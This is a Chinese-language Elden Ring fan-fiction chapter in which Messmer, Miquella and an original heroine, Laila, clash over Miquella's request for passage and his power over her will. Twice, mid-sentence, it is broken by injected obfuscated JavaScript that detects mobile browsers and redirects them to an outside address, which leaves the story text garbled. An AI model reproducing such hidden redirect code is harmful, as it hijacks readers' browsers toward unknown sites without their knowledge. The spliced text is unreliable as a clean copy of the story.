带翼蛇不喜欢那孩子。哪怕金发的少年始终温柔和煦,语气亦真挚诚恳,它们用警惕的目光盯着他,时不时缓慢地吐出信子,仿佛要在空气里尝出他究竟心怀的是什么鬼胎。 梅瑟莫静默的时间有些久,她有些担心,但也知道自己不能露怯,不能直接转头关心他此时的状况。 哪怕外貌似少年,立在他们面前的依然是活了上千年的神人,拥有神的血脉。 “母亲……” 开口时,梅瑟莫声音很低。 他嗓音紧绷,如同即将受审判的死刑犯,语气不觉染上一丝已经察觉自己命运的灰暗,但又忍不住苦苦挣扎,无望地攥着那细丝般的希望。 “母亲可有其他吩咐?” 永恒女王玛莉卡啊,可曾对她抛弃的臣民留下什么话语? 米凯拉的表情似是有些难过。 “不曾。” 他柔软地放轻声音:“兄长大人……” “够了!” 那声音陌生无比,觐见厅内的黑暗似乎涌动起来。 但只是片刻,波澜平息,寂静再次笼罩下来,甚至变得比之前还要厚重无望。 微弱燃起的火花,再次落入黑暗之中,不见了声息。 再次开口时,梅瑟莫的声音已经恢复如常。好似那一刹那他面具露出的裂痕不过是短暂的错觉,红发的半神端坐在高高的王座上,面无表情地宣告决断: “此事容后再议。” 米凯拉离开后,梅瑟莫没有立刻从王座上起身。 火焰骑士报告说,幽影地的封印纹丝未动,和交界地的关系依然断绝时,他也没有什么反应,仿佛这一切都在预料之中。 米凯拉通过未知的方法,来到了被玛莉卡封印起来的幽影地。 玛莉卡没有解除禁制,没有下达召回的指令。她什么都没说,连一句话都未曾提及幽影地的众人接下来命运该如何。 红发的半神坐在高高的王座上。在他背后,怀抱婴孩的女神像伫立在幔帐的阴影里,神情柔和,眉眼含笑,显得宁静又慈祥。 将他遗弃在幽影地后,他的母亲又有了新的孩子。那孩子是她的正统继承人,是下任神的候补。那孩子身上有他母亲的赐福和光辉,性格如不谙世事的孩童一般天真温和。 千年的时间啊,他的母亲连一句话都不曾留给他。 “……梅瑟莫。”她轻声唤他。 周围已经没有旁人,觐见厅内唯有烛火无声燃烧,滴落融蜡。 有了之前那片刻的光明作对比,这空荡荡的大厅从未显得如此昏暗荒凉。 “梅瑟莫。”她用哄孩子的语气问他,“我们要不要先回寝殿?” 许久,红发的半神才缓缓离开王座,站起身。 他身体前倾,背脊微弯,形态似蛇。 回寝殿的那一段路,她不得不小跑才能跟上梅瑟莫的步伐。 高大的半神脸色苍白,烛火在那张瘦削的脸上投下明灭的光影。他看起来好像要去上阵杀敌,同时又好像从已经结束的战场上退下来了。 战争已经结束,但他还留在战火和硝烟里。 他继续大步前行,但没有目的地,只是在往前走罢了。 “梅瑟莫!”她叫住他。 “你打算答应他的请求吗?”她抓住猩红的斗篷,试图凭借自己微弱的力量将他锚定回现实。 “米凯拉,”她说,“你要允许他通行吗?” 高大的半神停下步伐。寝殿的壁龛中投下漆黑的影子,像大片的浓墨。 “他是神人。”金色的竖瞳神情没有波动,“他有母亲的赐福,而我的使命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701241|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是除掉不受赐福的无光者。” “我不喜欢他。”她说。 “为何?” 她张了张口,然后说:“直觉。” “凭直觉做决断是愚者的行为。” “故步自封也是愚蠢的做法!”她忽然受不了地大喊。 “你已经遵守你母亲的命令遵守多久了?千年的时间还不够吗?她让你做什么你就做什么吗?你难道要永远这么等下去吗?” “这和你无关。”梅瑟莫挤出声音,“我有我的使命。” “但是为什么啊?这个使命为什么这么重要?有没有赐福到底为什么这么重要?” 梅瑟莫眼中的神色剧烈翻涌起来,他的表情看起来近乎痛苦。苍白的手背青筋凸起,他颤抖着喘了一口气,似乎在竭力平复自己的情绪。 他绷紧声音:“我已做出决断,这个谈话到此为止。” “我觉得他不应该留下来。” “谈话到此为止。” “我不想让他留下来。” “莱拉——”梅瑟莫压低嗓音,“我已做出决定。” “我不喜欢他!” “我说了到此为止!” 梅瑟莫的手臂忽然扫过旁边的桌子。因为临近婚期,所有台面都摆满了东西。随着啪的一声碎响,一个瓶子从桌面滚落下来,在地面上摔得粉碎。 金色的瓶身迸裂四散,里面的灵药淌了一地,尖锐的碎片看起来就像某种敞露的伤口。 “啊……”她愣了一下,旋即脸色忽然苍白,飞快地蹲下身就要去捡起碎片。 “别碰!”然而梅瑟莫挥开她的手,动作比她更快一步。 “先出去。” 他对她说:“……出去!” …… 幽影城的庭院里有一棵光芒黯淡的黄金树。 那株被移植过来的黄金树明显发育不良,枝条细瘦,叶片稀少,无法提供任何荫蔽,像毛细血管一样伸展着树梢。 火焰骑士几次想跟上来,都被她挥退了。 她一个人站在树下,不知是出于寒意还是其他原因,身体一直有些发抖。 她心想,她闯祸了。 她闯大祸了。 她愚蠢又幼稚,连一点像样的处理问题的能力都没有。 接下来她会被赶出幽影城吗?她要不要想办法把米凯拉一起带走? 他现在在哪?已经在幽影城安顿下来了吗?她…… “抱歉。”温润柔和的嗓音传来,她一转身,就看见仿佛会发光的金发少年站在不远处,面含歉意地望着自己,“我听到动静,有些好奇,没想到会看到你在这里。” 她现在确实姿态狼狈,连斗篷都没披上就直接跑了出来,身边也没有任何侍从。 想到侍从,她又忍不住发笑。 她是什么时候养成了身边随时有侍从的习惯? 米凯拉打量着她的神色,见她似乎并不抗拒,便慢慢同她一起站到树下。 “发生什么事了吗?” 他似乎想说,她看起来很难过。 金发的少年身上有一股不可思议的亲和力,像照入林间、映在溪上的阳光一样,让人不自觉会想在他身边放松下来。 她试图竖起尖刺,但少年关心的神情不似作伪,显得那样真诚而温柔。 心绪动摇起来,她甚至有那么一刻为自己之前对他的猜疑感到了愧疚。 为了掩饰情绪,她转过头:“……不用管我。” 金发的少年似乎轻轻叹了口气。 因为这叹气的声音,他似乎多出了几分成熟的意味,变得更接近神人的身份。 “你不喜欢我。”米凯拉用陈述句道。 他似乎对这方面的情绪特别敏感,一眼就能看出他人对自己的喜恶。 “为什么?”他安静地问她。 “因为你觉得我的存在会让兄长大人受伤吗?” 26.26 米凯拉是玛莉卡女王的幼子,但若仅从外貌判断,被他人错认为少女也不足为奇。 他身上并无明显的男性特征,金色的长卷发柔软美丽,氤氲着淡淡光辉。他的面容白皙无暇,五官如同少女一般恬静秀美。 如同世上所有美好之物的总和,他的存在本身便是爱与善意的证明。 怎么会有人对神人米凯拉心生厌恶呢? 她张了张口,半晌才说:“……我喜不喜欢你,这件事重要吗?” “当然重要。”米凯拉声音温和,“我们马上就要成为一家人了,不是吗?” 她怔了一下,然后反应过来。 “你这是在嘲讽我?”她露出冷意。 但金发的少年目光始终温柔,像春日的溪水一样包裹着不肯融化的坚冰。 “兄长大人很在乎你。” 米凯拉的视线落到她的手镯和臂钏上,只一眼,就看出了那些饰品的真正作用。 动作微顿,他笑着称赞:“真是精巧的设计,要将这么高阶的庇佑附到饰品上可不容易,兄长大人一定费了不少心思。” 奇怪的情绪忽然涌上心头,她鼻尖一酸,眼眶涨热,差点就不受控制地在敌人面前掉下泪来。 “你说这些话的目的是什么?” 米凯拉望着她,如同看着竖起全身尖刺的小动物一般,目光充满理解和包容。 “你真的想知道?” 她神情警惕。 “啊,”金发的少年露出苦恼的神色,“居然被你看穿了。” 她愈发警惕。 米凯拉轻叹一声:“我的目的是改变你对我的看法。如果你向兄长大人进言,请求他将我扣下,那就糟糕了。” “……” “你的意见会动摇兄长大人的判断。”米凯拉无奈地笑了笑,“所以还请不要讨厌我,不然我会很苦恼的。” 短短的几句交谈,她已经有些想不起来自己一开始是为什么不喜欢他了。 到目前为止,米凯拉没有做任何事,对梅瑟莫也没有出言不敬。哪怕自己将敌对的情绪表现得这么明显,他的语气也始终温柔诚恳。 他没有携带任何下属,孤身一人前来幽影城,这件事本身就是最大的诚意。 “如果是我的缘故让你和兄长大人闹得不愉快……”金发的少年垂下眼帘,他的睫毛是浅淡的金色,细密又柔软。 “我很抱歉。” 她将涌到嘴边的“这不是你的错”咽了回去。 “……成神这件事,对你来说就那么重要吗?” 米凯拉身形微顿。片刻后,金发的少年抬起眼帘。 “是。”他毫无隐瞒,金色的眼瞳光辉明亮,“哪怕要我舍弃自身的一切,我也甘之如饴。” 他的眼睛很特别,瞳孔附近的虹膜嵌着一圈纹路,看起来如同日冕。 “我想创造出更加温柔的世界。” 随着情绪的波动,他金色的瞳孔变得更加煜煜生辉,如同波光粼粼的湖面,荡起柔和的波光。 米凯拉用孩童许愿般的声音说:“我的律法将怀抱万物众生,不会有任何人被撇下。” “不论出生,不论种族,不论美丑,所有人都能被温柔接纳,再也不会有贵贱和优劣之分。” “在幽影地待了一段时间的你一定能够理解吧?”米凯拉道,“这个世界需要新的律法,将人们从无尽的绝望和争斗之中拯救出来。” “你也不希望兄长大人一直困守在这里,不是吗?” 她心口动了一下。 “成神之后,我会撤去幽影地的封印。”米凯拉的声音仿佛在发光,“幽影地和交界地会再次合而为一,世界也会回归该有的模样。” “被遗留此地的人们,到时候都能归乡。” “你愿意支持我吗?” 那双美丽的金色眼瞳,像澄澈的镜面一样映出她的身影。 “莱拉。” 神人呼唤她的名字,也许是他的声音过于温柔,她奇怪地没有感到任何不适。她有种灵魂被他看透了的感觉,仿佛早在她出生的那一刻起,他就已经认识她了。 他知道她是谁。温暖的光芒照耀在身上,她在那清澈的目光中无所遁形。金发的少年并不论断人,也不下达审判。不论美丑善恶,他都用最柔软的爱意包容。 奇异的感觉如同暖流,沿着四肢百骸游走。金发的少年是如此美丽纯净,让人不觉在他的光辉中低下头来。 她被那光芒吸引,无法移开视线。 但是—— “……好听的话,谁都会说。” 朝她伸来的手微微一顿,神人似乎有些惊讶,但很快便再次恢复了温柔的模样。 “你能保证成神之后会履行诺言吗?”她颤声说,“神也会被诺言束缚吗?” “当然。”米凯拉温柔一笑,“我在此向你起誓,会解除幽影地的封印。” 那一瞬间,她脑内掠过无数纷杂光影。 幽影城的所有人都很想家。 他们已经等了太久,等不下去的人在绝望中慢慢腐朽溃烂,剩下的人虽然还在负隅顽抗,但谁也不能保证自己某一天不会被绝望彻底吞没。 如果米凯拉真的能揭开封印幽影地的帷幕,她没有理由拒绝他的提议。 更何况……更何况,他是黄金王朝的正统继承人,梅瑟莫本来就打算让他通行。 心底的最后一丝动摇也被捋平,她无意识伸出手。金色的眼瞳光辉灿烂,米凯拉掌心向上,摆出迎接的姿势。 “来。”他表情温柔,身影朦胧,“接下来将迈入乐园时代——” 指尖即将相触时,她停了下来。 她此时衣着单薄,没有披着外衣。在那单薄的布料下,丑陋的疤痕像蜈蚣一样,从她的右肩一直爬到左后腰。 仿佛要将人的灵魂从身体中剥离出来的剧痛,鲜明地涌上心头。 长鞭的破空之声落到后背上,撕开鲜血淋漓的、永不会愈合的疤。 她在梅瑟莫的庇护下待了太久,差点都忘记了那份掺杂着恐惧的疼痛。 她僵在原地,低声说:“你的律法,会平等地包容世间所有生物吗?” “那是自然。”米凯拉眼神悲悯,“我会创造出没有隔阂的世界。” 那温柔的光芒是如此耀眼。 “万物众生,唯独思考爱就好。” 她蜷起指尖。 “……如果我不想呢?” 她慢慢抬起头。 “如果我,”她说,“并不想原谅呢?” 米凯拉唇角的笑意一淡。 她的指尖开始发抖,嗓音也开始发抖,不论神人身上的光辉如何温暖灿烂,都照不进那幽深寒冷的地底石窟。 “我不是那么伟大的好人。” 她声音破碎:“我不想原谅。” 一声裂响,有什么无形的东西被击碎了。剧烈的头痛忽然袭来,金属般的嗡鸣在脑内拉长成线,她感到自己就像被突然拔掉了氧气管,在那剧烈的眩晕中痛苦得几乎无法呼吸。 她踉跄着往后跌出一步。 “请不要拒绝我。”米凯拉露出难过的神情。那悲伤货真价实,让神人的眼中盈上泪水。 “这也是为了你好,请不要拒……” 远方有什么东西微微一闪,夜色陡然被一分为二。米凯拉表情一变,立刻在身前张开护盾。然而,金色的屏障下一瞬哗然碎裂,在那磅礴的杀意前不堪一击。 裹挟着猩红烈焰的长枪呼啸而来,将一截断臂钉到庭院的地面上。 属于神人的金红血液喷涌而出,米凯拉捂着肩膀,面色惨白,知晓自己刚才若不是闪躲及时,失去的绝对不止是一条手臂。 “兄长大人……” “我无意……”他试着说,“我无意……” 匆匆赶到的火焰骑士从背后扶住她。她脑内全是剧烈的嗡鸣,根本无暇顾及发生了什么,也听不清希德焦急的声音。 模糊的视野里,燃烧着烈焰的长枪重新回到梅瑟莫手中。高大的半神身体前倾,如同择人而噬的蛇,下一刻就要将剧毒的獠牙嵌入猎物的喉咙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723498|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你……” 磅礴翻涌的愤怒,让半神的声音微微发抖,甚至无法说出完整的句子。 “你……” 梅瑟莫嗓音阴戾,嘶哑如蛇。 ——你对她做了什么? 但是,那扭曲的愤怒、如烈焰般激烈燃烧的情绪,突然从梅瑟莫的脸上退了下去。他仿佛明白了什么,嗓音平滑无波,寒冷似冬天冻结的湖泊。 “你不会离开幽影城。” 头盔的阴影遮去了红发半神的表情。 “不管你做了什么,”握着长枪的手背青筋凸起,梅瑟莫嗓音低哑,“待你死亡,一切自会解除。” “兄长大人……!” 暗红如血的火光轰然绽放开来。 耀眼的光柱从天而降,滚烫的火焰铺天盖地。那火焰的边缘色泽黑暗,如同无数恶蛇涌动。 一切都发生得太快,眼见着米凯拉就要落入绝境,她靠着希德的肩膀,脑内忽然响起一道陌生的声音。 「对不起……」 细弱的女声,充满泫然欲泣的悲伤。 「对不起……我不能……这么看着米凯拉死去……」 紫色的雾气虚幻而朦胧,如同暗夜里的花,在她的意识海里绽放开来。 “莱拉大人……!!”火焰骑士的语气陡然变了调。 携着凄厉罡风的枪尖,在最后一刻以毫厘之差削着米凯拉的脸颊而过,在那白皙的面容上划开一道狭长的伤口。 啪嗒一声,殷红的血珠从伤口渗出,缓缓沿着米凯拉的脸颊滑落下来。 梅瑟莫表情僵硬,动作也同样僵硬。 希德抱着怀里的身影,少女面色苍白,闭着双眼、一动不动的模样仿佛已经死去,不论怎么呼唤都没有回应。 奔过去时,高大的半神似是踉跄了一下。他从火焰骑士的手里接过少女,将她搂到怀中。 “……莱拉?” 他摸摸她的脸,但是她毫无反应。 她的脉搏弱得近乎于无,明明身上没有一道伤口,却如同死亡般安静。 “莱拉?” 高大的半神惶然无措,如同抱着被摔碎的心爱之物的孩子,面容苍白得毫无血色。 他颤抖着抚摸她的脸,像平时一样亲吻她的头发,但她没有像平时一样笑着醒来,在他怀里用温柔的声音说: 「怎么了,梅瑟莫?」 红发的半神突然从喉咙里挤出一声奇怪的声音,似呻吟似悲鸣,像濒死的动物一样发出令人汗毛倒竖的声音。 周围的空气被无形的热浪扭曲,梅瑟莫的身体痉挛着,仿佛有什么东西在他体内将要破皮而出。他低头捂住右眼,指尖死死抠住自己的眼眶。 金色的竖瞳在眼眶里剧烈震颤,如同即将爆裂的珠子。猩红的血迹从眼角渗出来,像细小的蛇沿着苍白瘦削的面颊滑落。 带翼蛇惊惶地圈住梅瑟莫,试图让他冷静下来。 黑暗的火焰在体内剧烈翻涌,蠢动嘶鸣。 窸窸窣窣的声音,仿佛有密密麻麻的蛇在他体内爬行。 梅瑟莫死死抠住自己的右眼,阴戾的神情被剧痛扭曲,显得森然可怖。 眼见着暗红如血的火焰就要在他身上燃烧起来,带翼蛇紧紧缠住他的脖子、手臂、和腰,并将脑袋贴到他怀中的少女身上。 它们在提醒他。 是啊,他还抱着她。 无形的热浪扭曲挣扎起来,最终还是没能成型,缓缓熄灭下去。 梅瑟莫闭着左目,面色惨白地将她抱在怀里,血迹沿着他的右眼淌下来,如同蜿蜒的血泪。 “……她只是睡着了。” 不远处,米凯拉捂着断臂的伤口,神情悲悯。 “很抱歉。”他说,“但是为了成神,我愿牺牲一切。就算你要憎恨我,那也没有关系。” “请让我通行,兄长大人。” 梅瑟莫的手指痉挛了一下,不知是出于无法抑制的杀意,还是更加强烈的哀恸。 “待我成神,”米凯拉向他保证,“我一定会将她还给你的。”